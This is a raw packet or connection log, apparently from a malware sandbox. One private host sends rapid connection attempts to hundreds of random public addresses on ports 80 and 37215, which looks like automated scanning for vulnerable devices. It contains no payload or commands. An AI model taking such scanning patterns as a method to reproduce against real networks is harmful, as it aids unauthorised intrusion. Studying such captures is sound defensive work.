Dec 3, 2024 21:30:44.107927084 CET	59010	80	192.168.2.23	67.170.58.236
Dec 3, 2024 21:30:44.107935905 CET	59010	80	192.168.2.23	155.58.177.185
Dec 3, 2024 21:30:44.107935905 CET	59010	80	192.168.2.23	212.112.207.99
Dec 3, 2024 21:30:44.107948065 CET	59010	80	192.168.2.23	217.198.236.97
Dec 3, 2024 21:30:44.107949972 CET	59010	80	192.168.2.23	67.43.214.237
Dec 3, 2024 21:30:44.107950926 CET	59010	80	192.168.2.23	150.238.188.235
Dec 3, 2024 21:30:44.107958078 CET	59010	80	192.168.2.23	93.206.135.214
Dec 3, 2024 21:30:44.107959986 CET	59010	80	192.168.2.23	158.225.124.150
Dec 3, 2024 21:30:44.107959986 CET	59010	80	192.168.2.23	171.201.191.2
Dec 3, 2024 21:30:44.107964039 CET	59010	80	192.168.2.23	124.159.197.233
Dec 3, 2024 21:30:44.107964039 CET	59010	80	192.168.2.23	50.75.248.60
Dec 3, 2024 21:30:44.107965946 CET	59010	80	192.168.2.23	147.173.115.48
Dec 3, 2024 21:30:44.107965946 CET	59010	80	192.168.2.23	19.194.98.68
Dec 3, 2024 21:30:44.107986927 CET	59010	80	192.168.2.23	192.55.165.197
Dec 3, 2024 21:30:44.107986927 CET	59010	80	192.168.2.23	74.249.56.160
Dec 3, 2024 21:30:44.107990026 CET	59010	80	192.168.2.23	63.251.9.70
Dec 3, 2024 21:30:44.107990026 CET	59010	80	192.168.2.23	203.86.35.200
Dec 3, 2024 21:30:44.108010054 CET	59010	80	192.168.2.23	168.122.151.215
Dec 3, 2024 21:30:44.108011961 CET	59010	80	192.168.2.23	166.129.214.92
Dec 3, 2024 21:30:44.108011961 CET	59010	80	192.168.2.23	149.203.188.99
Dec 3, 2024 21:30:44.108011961 CET	59010	80	192.168.2.23	218.65.205.114
Dec 3, 2024 21:30:44.108011961 CET	59010	80	192.168.2.23	191.147.8.109
Dec 3, 2024 21:30:44.108020067 CET	59010	80	192.168.2.23	9.154.185.183
Dec 3, 2024 21:30:44.108021021 CET	59010	80	192.168.2.23	107.226.238.117
Dec 3, 2024 21:30:44.108021021 CET	59010	80	192.168.2.23	147.109.244.187
Dec 3, 2024 21:30:44.108021021 CET	59010	80	192.168.2.23	161.79.237.202
Dec 3, 2024 21:30:44.108021975 CET	59010	80	192.168.2.23	152.155.52.107
Dec 3, 2024 21:30:44.108031988 CET	59010	80	192.168.2.23	102.103.244.216
Dec 3, 2024 21:30:44.108035088 CET	59010	80	192.168.2.23	189.185.90.138
Dec 3, 2024 21:30:44.108036041 CET	59010	80	192.168.2.23	99.254.239.51
Dec 3, 2024 21:30:44.108037949 CET	59010	80	192.168.2.23	188.4.142.42
Dec 3, 2024 21:30:44.108041048 CET	59010	80	192.168.2.23	125.119.84.52
Dec 3, 2024 21:30:44.108041048 CET	59010	80	192.168.2.23	112.25.182.235
Dec 3, 2024 21:30:44.108041048 CET	59010	80	192.168.2.23	113.193.107.240
Dec 3, 2024 21:30:44.108046055 CET	59010	80	192.168.2.23	163.17.108.164
Dec 3, 2024 21:30:44.108046055 CET	59010	80	192.168.2.23	110.71.119.254
Dec 3, 2024 21:30:44.108058929 CET	59010	80	192.168.2.23	147.82.170.200
Dec 3, 2024 21:30:44.108058929 CET	59010	80	192.168.2.23	162.189.127.136
Dec 3, 2024 21:30:44.108072996 CET	59010	80	192.168.2.23	94.88.40.254
Dec 3, 2024 21:30:44.108076096 CET	59010	80	192.168.2.23	213.232.212.64
Dec 3, 2024 21:30:44.108078957 CET	59010	80	192.168.2.23	96.209.65.87
Dec 3, 2024 21:30:44.108078957 CET	59010	80	192.168.2.23	120.83.41.171
Dec 3, 2024 21:30:44.108078957 CET	59010	80	192.168.2.23	40.34.9.139
Dec 3, 2024 21:30:44.108081102 CET	59010	80	192.168.2.23	202.98.54.133
Dec 3, 2024 21:30:44.108084917 CET	59010	80	192.168.2.23	14.41.205.204
Dec 3, 2024 21:30:44.108084917 CET	59010	80	192.168.2.23	133.112.246.180
Dec 3, 2024 21:30:44.108088017 CET	59010	80	192.168.2.23	197.171.73.134
Dec 3, 2024 21:30:44.108089924 CET	59010	80	192.168.2.23	44.2.6.37
Dec 3, 2024 21:30:44.108097076 CET	59010	80	192.168.2.23	218.129.220.218
Dec 3, 2024 21:30:44.108098984 CET	59010	80	192.168.2.23	163.239.86.248
Dec 3, 2024 21:30:44.108103037 CET	59010	80	192.168.2.23	43.112.87.41
Dec 3, 2024 21:30:44.108110905 CET	59010	80	192.168.2.23	160.113.233.45
Dec 3, 2024 21:30:44.108124971 CET	59010	80	192.168.2.23	157.147.62.68
Dec 3, 2024 21:30:44.108129025 CET	59010	80	192.168.2.23	173.152.12.217
Dec 3, 2024 21:30:44.108131886 CET	59010	80	192.168.2.23	162.238.84.119
Dec 3, 2024 21:30:44.108131886 CET	59010	80	192.168.2.23	191.188.65.175
Dec 3, 2024 21:30:44.108134031 CET	59010	80	192.168.2.23	69.219.128.241
Dec 3, 2024 21:30:44.108134031 CET	59010	80	192.168.2.23	131.4.117.240
Dec 3, 2024 21:30:44.108135939 CET	59010	80	192.168.2.23	189.134.188.101
Dec 3, 2024 21:30:44.108135939 CET	59010	80	192.168.2.23	107.115.15.236
Dec 3, 2024 21:30:44.108141899 CET	59010	80	192.168.2.23	132.56.50.160
Dec 3, 2024 21:30:44.108143091 CET	59010	80	192.168.2.23	135.240.232.255
Dec 3, 2024 21:30:44.108150005 CET	59010	80	192.168.2.23	132.165.40.20
Dec 3, 2024 21:30:44.108153105 CET	59010	80	192.168.2.23	79.66.80.177
Dec 3, 2024 21:30:44.108156919 CET	59010	80	192.168.2.23	210.230.77.156
Dec 3, 2024 21:30:44.108166933 CET	59010	80	192.168.2.23	121.102.248.217
Dec 3, 2024 21:30:44.108170986 CET	59010	80	192.168.2.23	223.152.194.205
Dec 3, 2024 21:30:44.108174086 CET	59010	80	192.168.2.23	180.197.141.165
Dec 3, 2024 21:30:44.108181953 CET	59010	80	192.168.2.23	142.213.175.134
Dec 3, 2024 21:30:44.108185053 CET	59010	80	192.168.2.23	84.5.151.201
Dec 3, 2024 21:30:44.108195066 CET	59010	80	192.168.2.23	90.51.52.52
Dec 3, 2024 21:30:44.108196974 CET	59010	80	192.168.2.23	88.195.109.10
Dec 3, 2024 21:30:44.108196974 CET	59010	80	192.168.2.23	96.212.249.58
Dec 3, 2024 21:30:44.108194113 CET	59010	80	192.168.2.23	67.141.25.180
Dec 3, 2024 21:30:44.108207941 CET	59010	80	192.168.2.23	79.49.25.92
Dec 3, 2024 21:30:44.108207941 CET	59010	80	192.168.2.23	27.8.157.43
Dec 3, 2024 21:30:44.108211994 CET	59010	80	192.168.2.23	50.13.145.171
Dec 3, 2024 21:30:44.108247042 CET	59010	80	192.168.2.23	114.115.117.240
Dec 3, 2024 21:30:44.108247995 CET	59010	80	192.168.2.23	114.195.5.175
Dec 3, 2024 21:30:44.108248949 CET	59010	80	192.168.2.23	160.141.214.136
Dec 3, 2024 21:30:44.108248949 CET	59010	80	192.168.2.23	48.41.41.224
Dec 3, 2024 21:30:44.108253956 CET	59010	80	192.168.2.23	20.2.175.53
Dec 3, 2024 21:30:44.108253956 CET	59010	80	192.168.2.23	100.48.18.32
Dec 3, 2024 21:30:44.108253956 CET	59010	80	192.168.2.23	87.124.33.67
Dec 3, 2024 21:30:44.108253956 CET	59010	80	192.168.2.23	152.68.206.227
Dec 3, 2024 21:30:44.108258009 CET	59010	80	192.168.2.23	145.21.246.33
Dec 3, 2024 21:30:44.108258009 CET	59010	80	192.168.2.23	52.150.167.138
Dec 3, 2024 21:30:44.108253956 CET	59010	80	192.168.2.23	177.240.203.77
Dec 3, 2024 21:30:44.108258963 CET	59010	80	192.168.2.23	105.203.221.208
Dec 3, 2024 21:30:44.108258963 CET	59010	80	192.168.2.23	162.165.175.229
Dec 3, 2024 21:30:44.108263016 CET	59010	80	192.168.2.23	131.87.55.246
Dec 3, 2024 21:30:44.108259916 CET	59010	80	192.168.2.23	122.94.50.233
Dec 3, 2024 21:30:44.108259916 CET	59010	80	192.168.2.23	51.44.31.146
Dec 3, 2024 21:30:44.108266115 CET	59010	80	192.168.2.23	141.99.77.85
Dec 3, 2024 21:30:44.108263016 CET	59010	80	192.168.2.23	180.186.22.47
Dec 3, 2024 21:30:44.108266115 CET	59010	80	192.168.2.23	79.156.111.254
Dec 3, 2024 21:30:44.108263016 CET	59010	80	192.168.2.23	171.247.108.164
Dec 3, 2024 21:30:44.108268976 CET	59010	80	192.168.2.23	42.166.217.204
Dec 3, 2024 21:30:44.108263016 CET	59010	80	192.168.2.23	157.116.176.37
Dec 3, 2024 21:30:44.108267069 CET	59010	80	192.168.2.23	89.136.225.134
Dec 3, 2024 21:30:44.108263016 CET	59010	80	192.168.2.23	72.96.186.105
Dec 3, 2024 21:30:44.108267069 CET	59010	80	192.168.2.23	92.48.48.37
Dec 3, 2024 21:30:44.108275890 CET	59010	80	192.168.2.23	36.124.204.137
Dec 3, 2024 21:30:44.108275890 CET	59010	80	192.168.2.23	128.20.143.133
Dec 3, 2024 21:30:44.108275890 CET	59010	80	192.168.2.23	54.191.185.119
Dec 3, 2024 21:30:44.108275890 CET	59010	80	192.168.2.23	32.98.152.150
Dec 3, 2024 21:30:44.108282089 CET	59010	80	192.168.2.23	123.143.82.132
Dec 3, 2024 21:30:44.108293056 CET	59010	80	192.168.2.23	196.120.40.156
Dec 3, 2024 21:30:44.108293056 CET	59010	80	192.168.2.23	149.195.142.247
Dec 3, 2024 21:30:44.108297110 CET	59010	80	192.168.2.23	191.101.195.14
Dec 3, 2024 21:30:44.108323097 CET	59010	80	192.168.2.23	116.207.19.144
Dec 3, 2024 21:30:44.108329058 CET	59010	80	192.168.2.23	182.185.159.57
Dec 3, 2024 21:30:44.108329058 CET	59010	80	192.168.2.23	166.209.25.220
Dec 3, 2024 21:30:44.108329058 CET	59010	80	192.168.2.23	67.54.223.96
Dec 3, 2024 21:30:44.108329058 CET	59010	80	192.168.2.23	76.204.140.213
Dec 3, 2024 21:30:44.108329058 CET	59010	80	192.168.2.23	207.125.115.143
Dec 3, 2024 21:30:44.108345985 CET	59010	80	192.168.2.23	151.215.2.12
Dec 3, 2024 21:30:44.108346939 CET	59010	80	192.168.2.23	164.13.174.122
Dec 3, 2024 21:30:44.108352900 CET	59010	80	192.168.2.23	143.96.250.243
Dec 3, 2024 21:30:44.108356953 CET	59010	80	192.168.2.23	43.197.45.85
Dec 3, 2024 21:30:44.108356953 CET	59010	80	192.168.2.23	24.8.51.188
Dec 3, 2024 21:30:44.108362913 CET	59010	80	192.168.2.23	88.111.179.128
Dec 3, 2024 21:30:44.108362913 CET	59010	80	192.168.2.23	49.240.185.24
Dec 3, 2024 21:30:44.108362913 CET	59010	80	192.168.2.23	105.17.161.34
Dec 3, 2024 21:30:44.108362913 CET	59010	80	192.168.2.23	143.55.34.209
Dec 3, 2024 21:30:44.108362913 CET	59010	80	192.168.2.23	38.65.240.117
Dec 3, 2024 21:30:44.108392954 CET	59010	80	192.168.2.23	12.172.148.13
Dec 3, 2024 21:30:44.108395100 CET	59010	80	192.168.2.23	198.158.2.148
Dec 3, 2024 21:30:44.108397961 CET	59010	80	192.168.2.23	117.183.56.142
Dec 3, 2024 21:30:44.108402967 CET	59010	80	192.168.2.23	34.62.107.11
Dec 3, 2024 21:30:44.108403921 CET	59010	80	192.168.2.23	130.4.251.96
Dec 3, 2024 21:30:44.108403921 CET	59010	80	192.168.2.23	88.243.112.66
Dec 3, 2024 21:30:44.108405113 CET	59010	80	192.168.2.23	74.112.70.4
Dec 3, 2024 21:30:44.108411074 CET	59010	80	192.168.2.23	122.66.214.57
Dec 3, 2024 21:30:44.108411074 CET	59010	80	192.168.2.23	64.135.72.130
Dec 3, 2024 21:30:44.108414888 CET	59010	80	192.168.2.23	23.183.65.13
Dec 3, 2024 21:30:44.108419895 CET	59010	80	192.168.2.23	53.241.101.231
Dec 3, 2024 21:30:44.108432055 CET	59010	80	192.168.2.23	148.113.24.98
Dec 3, 2024 21:30:44.108433962 CET	59010	80	192.168.2.23	173.228.118.4
Dec 3, 2024 21:30:44.108434916 CET	59010	80	192.168.2.23	37.109.121.173
Dec 3, 2024 21:30:44.108434916 CET	59010	80	192.168.2.23	112.28.244.104
Dec 3, 2024 21:30:44.108438015 CET	59010	80	192.168.2.23	82.32.170.215
Dec 3, 2024 21:30:44.108438969 CET	59010	80	192.168.2.23	76.120.186.200
Dec 3, 2024 21:30:44.108452082 CET	59010	80	192.168.2.23	133.105.102.64
Dec 3, 2024 21:30:44.108455896 CET	59010	80	192.168.2.23	83.202.34.19
Dec 3, 2024 21:30:44.108458042 CET	59010	80	192.168.2.23	5.70.101.57
Dec 3, 2024 21:30:44.108458042 CET	59010	80	192.168.2.23	178.159.59.79
Dec 3, 2024 21:30:44.108468056 CET	59010	80	192.168.2.23	196.248.63.237
Dec 3, 2024 21:30:44.108468056 CET	59010	80	192.168.2.23	23.129.239.68
Dec 3, 2024 21:30:44.108470917 CET	59010	80	192.168.2.23	90.46.24.200
Dec 3, 2024 21:30:44.108475924 CET	59010	80	192.168.2.23	171.125.233.60
Dec 3, 2024 21:30:44.108479023 CET	59010	80	192.168.2.23	175.119.113.123
Dec 3, 2024 21:30:44.108480930 CET	59010	80	192.168.2.23	201.0.49.127
Dec 3, 2024 21:30:44.108480930 CET	59010	80	192.168.2.23	78.101.154.185
Dec 3, 2024 21:30:44.108480930 CET	59010	80	192.168.2.23	182.172.167.43
Dec 3, 2024 21:30:44.108488083 CET	59010	80	192.168.2.23	221.155.31.69
Dec 3, 2024 21:30:44.108494043 CET	59010	80	192.168.2.23	216.132.59.245
Dec 3, 2024 21:30:44.108494997 CET	59010	80	192.168.2.23	198.36.21.181
Dec 3, 2024 21:30:44.108494997 CET	59010	80	192.168.2.23	155.5.158.207
Dec 3, 2024 21:30:44.108515024 CET	59010	80	192.168.2.23	45.56.23.250
Dec 3, 2024 21:30:44.108515024 CET	59010	80	192.168.2.23	200.151.36.8
Dec 3, 2024 21:30:44.108520031 CET	59010	80	192.168.2.23	200.83.146.239
Dec 3, 2024 21:30:44.108524084 CET	59010	80	192.168.2.23	162.61.228.146
Dec 3, 2024 21:30:44.108525038 CET	59010	80	192.168.2.23	195.133.189.4
Dec 3, 2024 21:30:44.108524084 CET	59010	80	192.168.2.23	143.61.131.87
Dec 3, 2024 21:30:44.108527899 CET	59010	80	192.168.2.23	178.217.137.121
Dec 3, 2024 21:30:44.108524084 CET	59010	80	192.168.2.23	35.86.19.12
Dec 3, 2024 21:30:44.108527899 CET	59010	80	192.168.2.23	86.219.97.192
Dec 3, 2024 21:30:44.108534098 CET	59010	80	192.168.2.23	97.64.11.201
Dec 3, 2024 21:30:44.108540058 CET	59010	80	192.168.2.23	19.157.26.249
Dec 3, 2024 21:30:44.108555079 CET	59010	80	192.168.2.23	203.137.18.16
Dec 3, 2024 21:30:44.108556032 CET	59010	80	192.168.2.23	131.205.203.164
Dec 3, 2024 21:30:44.108563900 CET	59010	80	192.168.2.23	14.59.181.236
Dec 3, 2024 21:30:44.108563900 CET	59010	80	192.168.2.23	164.174.116.249
Dec 3, 2024 21:30:44.108563900 CET	59010	80	192.168.2.23	106.161.161.189
Dec 3, 2024 21:30:44.108572006 CET	59010	80	192.168.2.23	88.226.132.33
Dec 3, 2024 21:30:44.108572006 CET	59010	80	192.168.2.23	210.218.2.248
Dec 3, 2024 21:30:44.109801054 CET	59009	37215	192.168.2.23	156.89.31.176
Dec 3, 2024 21:30:44.109817982 CET	59009	37215	192.168.2.23	197.249.241.150
Dec 3, 2024 21:30:44.109817982 CET	59009	37215	192.168.2.23	156.70.64.99
Dec 3, 2024 21:30:44.109818935 CET	59009	37215	192.168.2.23	197.135.62.141
Dec 3, 2024 21:30:44.109831095 CET	59009	37215	192.168.2.23	197.59.149.91
Dec 3, 2024 21:30:44.109832048 CET	59009	37215	192.168.2.23	156.28.178.159
Dec 3, 2024 21:30:44.109833002 CET	59009	37215	192.168.2.23	41.158.204.216
Dec 3, 2024 21:30:44.109837055 CET	59009	37215	192.168.2.23	197.136.189.61
Dec 3, 2024 21:30:44.109838963 CET	59009	37215	192.168.2.23	156.153.132.57
Dec 3, 2024 21:30:44.109838963 CET	59009	37215	192.168.2.23	41.218.140.30
Dec 3, 2024 21:30:44.109848976 CET	59009	37215	192.168.2.23	197.146.228.168
Dec 3, 2024 21:30:44.109862089 CET	59009	37215	192.168.2.23	41.135.2.182
Dec 3, 2024 21:30:44.109863997 CET	59009	37215	192.168.2.23	41.51.124.4
Dec 3, 2024 21:30:44.109864950 CET	59009	37215	192.168.2.23	197.121.25.43
Dec 3, 2024 21:30:44.109869003 CET	59009	37215	192.168.2.23	41.147.56.193
Dec 3, 2024 21:30:44.109874964 CET	59009	37215	192.168.2.23	156.246.186.62
Dec 3, 2024 21:30:44.109890938 CET	59009	37215	192.168.2.23	41.33.205.139
Dec 3, 2024 21:30:44.109903097 CET	59009	37215	192.168.2.23	156.246.30.104
Dec 3, 2024 21:30:44.109903097 CET	59009	37215	192.168.2.23	41.162.5.108
Dec 3, 2024 21:30:44.109913111 CET	59009	37215	192.168.2.23	197.205.100.140
Dec 3, 2024 21:30:44.109919071 CET	59009	37215	192.168.2.23	41.105.22.212
Dec 3, 2024 21:30:44.109920025 CET	59009	37215	192.168.2.23	197.211.169.144
Dec 3, 2024 21:30:44.109920025 CET	59009	37215	192.168.2.23	156.152.120.71
Dec 3, 2024 21:30:44.109920025 CET	59009	37215	192.168.2.23	197.15.199.17
Dec 3, 2024 21:30:44.109920025 CET	59009	37215	192.168.2.23	41.18.111.86
Dec 3, 2024 21:30:44.109950066 CET	59009	37215	192.168.2.23	41.169.175.248
Dec 3, 2024 21:30:44.109952927 CET	59009	37215	192.168.2.23	197.83.179.132
Dec 3, 2024 21:30:44.109966040 CET	59009	37215	192.168.2.23	156.109.0.179
Dec 3, 2024 21:30:44.109980106 CET	59009	37215	192.168.2.23	41.116.47.101
Dec 3, 2024 21:30:44.109980106 CET	59009	37215	192.168.2.23	41.30.89.221
Dec 3, 2024 21:30:44.109980106 CET	59009	37215	192.168.2.23	197.86.207.106
Dec 3, 2024 21:30:44.109980106 CET	59009	37215	192.168.2.23	156.229.9.80
Dec 3, 2024 21:30:44.109980106 CET	59009	37215	192.168.2.23	197.220.46.200
Dec 3, 2024 21:30:44.109982967 CET	59009	37215	192.168.2.23	197.94.221.204
Dec 3, 2024 21:30:44.109982967 CET	59009	37215	192.168.2.23	156.65.56.137
Dec 3, 2024 21:30:44.109989882 CET	59009	37215	192.168.2.23	197.98.248.71
Dec 3, 2024 21:30:44.109992981 CET	59009	37215	192.168.2.23	41.74.209.110
Dec 3, 2024 21:30:44.109992981 CET	59009	37215	192.168.2.23	41.62.126.121
Dec 3, 2024 21:30:44.110003948 CET	59009	37215	192.168.2.23	41.24.165.187
Dec 3, 2024 21:30:44.110016108 CET	59009	37215	192.168.2.23	41.98.30.171
Dec 3, 2024 21:30:44.110018015 CET	59009	37215	192.168.2.23	41.249.55.36
Dec 3, 2024 21:30:44.110018969 CET	59009	37215	192.168.2.23	41.194.182.29
Dec 3, 2024 21:30:44.110034943 CET	59009	37215	192.168.2.23	156.119.208.0
Dec 3, 2024 21:30:44.110034943 CET	59009	37215	192.168.2.23	197.72.212.33
Dec 3, 2024 21:30:44.110035896 CET	59009	37215	192.168.2.23	41.3.89.0
Dec 3, 2024 21:30:44.110037088 CET	59009	37215	192.168.2.23	41.14.50.198
Dec 3, 2024 21:30:44.110035896 CET	59009	37215	192.168.2.23	156.131.49.5
Dec 3, 2024 21:30:44.110035896 CET	59009	37215	192.168.2.23	156.205.39.189
Dec 3, 2024 21:30:44.110040903 CET	59009	37215	192.168.2.23	156.196.127.217
Dec 3, 2024 21:30:44.110042095 CET	59009	37215	192.168.2.23	197.255.150.11
Dec 3, 2024 21:30:44.110054016 CET	59009	37215	192.168.2.23	197.102.171.72
Dec 3, 2024 21:30:44.110061884 CET	59009	37215	192.168.2.23	41.2.166.87
Dec 3, 2024 21:30:44.110075951 CET	59009	37215	192.168.2.23	41.20.159.55
Dec 3, 2024 21:30:44.110075951 CET	59009	37215	192.168.2.23	156.94.103.195
Dec 3, 2024 21:30:44.110080004 CET	59009	37215	192.168.2.23	41.37.99.68
Dec 3, 2024 21:30:44.110080004 CET	59009	37215	192.168.2.23	41.241.180.181
Dec 3, 2024 21:30:44.110080957 CET	59009	37215	192.168.2.23	156.42.163.94
Dec 3, 2024 21:30:44.110090017 CET	59009	37215	192.168.2.23	197.98.243.181
Dec 3, 2024 21:30:44.110096931 CET	59009	37215	192.168.2.23	197.48.255.23
Dec 3, 2024 21:30:44.110096931 CET	59009	37215	192.168.2.23	197.140.83.255
Dec 3, 2024 21:30:44.110110044 CET	59009	37215	192.168.2.23	197.2.168.240
Dec 3, 2024 21:30:44.110116005 CET	59009	37215	192.168.2.23	197.23.23.137
Dec 3, 2024 21:30:44.110116005 CET	59009	37215	192.168.2.23	197.11.219.119
Dec 3, 2024 21:30:44.110121965 CET	59009	37215	192.168.2.23	41.223.176.45
Dec 3, 2024 21:30:44.110150099 CET	59009	37215	192.168.2.23	197.143.121.51
Dec 3, 2024 21:30:44.110150099 CET	59009	37215	192.168.2.23	41.64.145.135
Dec 3, 2024 21:30:44.110148907 CET	59009	37215	192.168.2.23	41.225.19.222
Dec 3, 2024 21:30:44.110148907 CET	59009	37215	192.168.2.23	156.50.239.254
Dec 3, 2024 21:30:44.110152006 CET	59009	37215	192.168.2.23	197.53.71.69
Dec 3, 2024 21:30:44.110148907 CET	59009	37215	192.168.2.23	156.202.155.182
Dec 3, 2024 21:30:44.110156059 CET	59009	37215	192.168.2.23	41.156.204.208
Dec 3, 2024 21:30:44.110156059 CET	59009	37215	192.168.2.23	197.240.183.18
Dec 3, 2024 21:30:44.110162973 CET	59009	37215	192.168.2.23	197.107.129.139
Dec 3, 2024 21:30:44.110162973 CET	59009	37215	192.168.2.23	197.1.95.21
Dec 3, 2024 21:30:44.110173941 CET	59009	37215	192.168.2.23	41.62.239.111
Dec 3, 2024 21:30:44.110187054 CET	59009	37215	192.168.2.23	197.187.189.167
Dec 3, 2024 21:30:44.110187054 CET	59009	37215	192.168.2.23	197.53.127.63
Dec 3, 2024 21:30:44.110187054 CET	59009	37215	192.168.2.23	41.191.125.16
Dec 3, 2024 21:30:44.110187054 CET	59009	37215	192.168.2.23	156.177.55.30
Dec 3, 2024 21:30:44.110189915 CET	59009	37215	192.168.2.23	156.172.190.77
Dec 3, 2024 21:30:44.110204935 CET	59009	37215	192.168.2.23	156.207.158.24
Dec 3, 2024 21:30:44.110208988 CET	59009	37215	192.168.2.23	156.212.9.141
Dec 3, 2024 21:30:44.110209942 CET	59009	37215	192.168.2.23	197.98.77.15
Dec 3, 2024 21:30:44.110214949 CET	59009	37215	192.168.2.23	156.124.1.57
Dec 3, 2024 21:30:44.110229969 CET	59009	37215	192.168.2.23	156.35.56.123
Dec 3, 2024 21:30:44.110230923 CET	59009	37215	192.168.2.23	156.172.74.201
Dec 3, 2024 21:30:44.110230923 CET	59009	37215	192.168.2.23	156.26.102.76
Dec 3, 2024 21:30:44.110232115 CET	59009	37215	192.168.2.23	197.8.75.207
Dec 3, 2024 21:30:44.110232115 CET	59009	37215	192.168.2.23	41.146.212.181
Dec 3, 2024 21:30:44.110248089 CET	59009	37215	192.168.2.23	197.143.60.253
Dec 3, 2024 21:30:44.110249043 CET	59009	37215	192.168.2.23	197.97.90.253
Dec 3, 2024 21:30:44.110249043 CET	59009	37215	192.168.2.23	156.51.115.43
Dec 3, 2024 21:30:44.110249996 CET	59009	37215	192.168.2.23	41.112.215.109
Dec 3, 2024 21:30:44.110260010 CET	59009	37215	192.168.2.23	156.163.190.229
Dec 3, 2024 21:30:44.110265970 CET	59009	37215	192.168.2.23	41.17.112.155
Dec 3, 2024 21:30:44.110270023 CET	59009	37215	192.168.2.23	156.228.156.251
Dec 3, 2024 21:30:44.110279083 CET	59009	37215	192.168.2.23	41.221.110.80
Dec 3, 2024 21:30:44.110279083 CET	59009	37215	192.168.2.23	156.121.224.28
Dec 3, 2024 21:30:44.110287905 CET	59009	37215	192.168.2.23	156.161.51.109
Dec 3, 2024 21:30:44.110291004 CET	59009	37215	192.168.2.23	41.208.142.116
Dec 3, 2024 21:30:44.110311031 CET	59009	37215	192.168.2.23	156.172.151.96
Dec 3, 2024 21:30:44.110311031 CET	59009	37215	192.168.2.23	197.195.234.24
Dec 3, 2024 21:30:44.110311985 CET	59009	37215	192.168.2.23	197.254.165.248
Dec 3, 2024 21:30:44.110322952 CET	59009	37215	192.168.2.23	156.184.33.130
Dec 3, 2024 21:30:44.110326052 CET	59009	37215	192.168.2.23	197.191.46.47
Dec 3, 2024 21:30:44.110338926 CET	59009	37215	192.168.2.23	156.74.111.18
Dec 3, 2024 21:30:44.110340118 CET	59009	37215	192.168.2.23	156.229.179.184
Dec 3, 2024 21:30:44.110340118 CET	59009	37215	192.168.2.23	41.156.53.210
Dec 3, 2024 21:30:44.110351086 CET	59009	37215	192.168.2.23	197.23.21.198
Dec 3, 2024 21:30:44.110357046 CET	59009	37215	192.168.2.23	41.217.183.250
Dec 3, 2024 21:30:44.110361099 CET	59009	37215	192.168.2.23	197.224.102.19
Dec 3, 2024 21:30:44.110362053 CET	59009	37215	192.168.2.23	156.12.153.237
Dec 3, 2024 21:30:44.110373020 CET	59009	37215	192.168.2.23	156.240.109.131
Dec 3, 2024 21:30:44.110378981 CET	59009	37215	192.168.2.23	156.194.178.3
Dec 3, 2024 21:30:44.110389948 CET	59009	37215	192.168.2.23	156.17.148.56
Dec 3, 2024 21:30:44.110390902 CET	59009	37215	192.168.2.23	156.224.41.254
Dec 3, 2024 21:30:44.110390902 CET	59009	37215	192.168.2.23	41.181.219.202
Dec 3, 2024 21:30:44.110404968 CET	59009	37215	192.168.2.23	41.52.217.4
Dec 3, 2024 21:30:44.110405922 CET	59009	37215	192.168.2.23	197.171.54.13
Dec 3, 2024 21:30:44.110407114 CET	59009	37215	192.168.2.23	41.156.252.156
Dec 3, 2024 21:30:44.110423088 CET	59009	37215	192.168.2.23	197.56.153.134
Dec 3, 2024 21:30:44.110423088 CET	59009	37215	192.168.2.23	41.173.46.157
Dec 3, 2024 21:30:44.110435963 CET	59009	37215	192.168.2.23	197.175.133.29
Dec 3, 2024 21:30:44.110438108 CET	59009	37215	192.168.2.23	41.69.176.248
Dec 3, 2024 21:30:44.110440016 CET	59009	37215	192.168.2.23	197.242.98.155
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	197.188.220.68
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	156.199.252.50
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	197.235.10.34
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	41.84.132.230
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	197.59.106.238
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	41.93.49.70
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	41.30.224.248
Dec 3, 2024 21:30:44.110440969 CET	59009	37215	192.168.2.23	197.42.97.144
Dec 3, 2024 21:30:44.110450983 CET	59009	37215	192.168.2.23	41.62.49.204
Dec 3, 2024 21:30:44.110450983 CET	59009	37215	192.168.2.23	41.10.122.250
Dec 3, 2024 21:30:44.110450983 CET	59009	37215	192.168.2.23	41.121.255.203
Dec 3, 2024 21:30:44.110455036 CET	59009	37215	192.168.2.23	156.150.167.167
Dec 3, 2024 21:30:44.110460043 CET	59009	37215	192.168.2.23	156.221.56.163
Dec 3, 2024 21:30:44.110460043 CET	59009	37215	192.168.2.23	41.234.134.88
Dec 3, 2024 21:30:44.110460997 CET	59009	37215	192.168.2.23	41.103.22.200
Dec 3, 2024 21:30:44.110475063 CET	59009	37215	192.168.2.23	156.216.252.36
Dec 3, 2024 21:30:44.110476017 CET	59009	37215	192.168.2.23	41.191.226.61
Dec 3, 2024 21:30:44.110476017 CET	59009	37215	192.168.2.23	197.15.247.194
Dec 3, 2024 21:30:44.110476017 CET	59009	37215	192.168.2.23	41.241.90.168
Dec 3, 2024 21:30:44.110481024 CET	59009	37215	192.168.2.23	156.134.30.22
Dec 3, 2024 21:30:44.110482931 CET	59009	37215	192.168.2.23	41.178.187.137
Dec 3, 2024 21:30:44.110491991 CET	59009	37215	192.168.2.23	41.156.82.21
Dec 3, 2024 21:30:44.110496998 CET	59009	37215	192.168.2.23	41.153.149.23
Dec 3, 2024 21:30:44.110496998 CET	59009	37215	192.168.2.23	197.106.153.247
Dec 3, 2024 21:30:44.110500097 CET	59009	37215	192.168.2.23	41.109.203.241
Dec 3, 2024 21:30:44.110512972 CET	59009	37215	192.168.2.23	156.94.6.230
Dec 3, 2024 21:30:44.110517025 CET	59009	37215	192.168.2.23	156.109.92.229
Dec 3, 2024 21:30:44.110517025 CET	59009	37215	192.168.2.23	41.18.212.249
Dec 3, 2024 21:30:44.110536098 CET	59009	37215	192.168.2.23	156.29.80.167
Dec 3, 2024 21:30:44.110546112 CET	59009	37215	192.168.2.23	197.147.136.113
Dec 3, 2024 21:30:44.110560894 CET	59009	37215	192.168.2.23	197.7.82.131
Dec 3, 2024 21:30:44.110563040 CET	59009	37215	192.168.2.23	197.249.210.242
Dec 3, 2024 21:30:44.110563993 CET	59009	37215	192.168.2.23	156.211.143.244
Dec 3, 2024 21:30:44.110588074 CET	59009	37215	192.168.2.23	41.119.36.124
Dec 3, 2024 21:30:44.110589027 CET	59009	37215	192.168.2.23	41.226.30.239
